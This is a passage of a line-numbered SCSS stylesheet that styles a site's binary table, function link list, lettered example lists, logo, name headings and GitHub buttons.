#bin-table { 136 | width: 100%; 137 | 138 | th, td { 139 | padding: 0.2em 1em; 140 | } 141 | 142 | th { 143 | text-align: left; 144 | } 145 | 146 | tbody tr:hover { 147 | background: $lighter; 148 | } 149 | 150 | #search-message { 151 | display: none; 152 | text-align: center; 153 | padding: 1em; 154 | } 155 | } 156 | 157 | // function description 158 | 159 | .function-list { 160 | font-size: 0.8rem; 161 | list-style: none; 162 | padding: 0; 163 | margin: 0; 164 | 165 | li { 166 | display: inline-block; 167 | 168 | a { 169 | display: inline-block; 170 | padding: 0.25em 0.5em; 171 | margin: 0.2em 0; 172 | border: 1px solid $accent; 173 | } 174 | 175 | a:link, a:visited { 176 | color: $accent; 177 | text-decoration: none; 178 | } 179 | 180 | a:hover { 181 | color: $hover; 182 | border-color: $hover; 183 | } 184 | 185 | &.match a { 186 | background: $marked; 187 | } 188 | } 189 | } 190 | 191 | // bin examples 192 | 193 | .examples { 194 | display: table; 195 | width: 100%; 196 | table-layout: fixed; 197 | counter-reset: item; 198 | margin: 0; 199 | padding: 0; 200 | 201 | li { 202 | display: table-row; 203 | 204 | &:not(:only-child):before { 205 | display: table-cell; 206 | font-size: 0.8rem; 207 | font-weight: bold; 208 | width: 3em; 209 | text-align: center; 210 | counter-increment: item; 211 | content: "(" counter(item, lower-alpha) ")"; 212 | } 213 | } 214 | } 215 | 216 | // other classes 217 | 218 | .logo { 219 | $margin: 20px; 220 | float: right; 221 | width: 100px; 222 | height: 100px; 223 | margin-left: $margin; 224 | margin-bottom: $margin; 225 | } 226 | 227 | .bin-name { 228 | font-family: monospace; 229 | font-size: 1.2rem; 230 | } 231 | 232 | .function-name { 233 | font-size: 1.4rem; 234 | font-weight: bold; 235 | } 236 | 237 | .github-buttons { 238 | display: inline-block; 239 | margin-left: 10px; 240 | 241 | // avoid displaying the link text during loading 242 | a.github-button { 243 | visibility: hidden; 244 | } 245 | } 246 | --------------------------------------------------------------------------------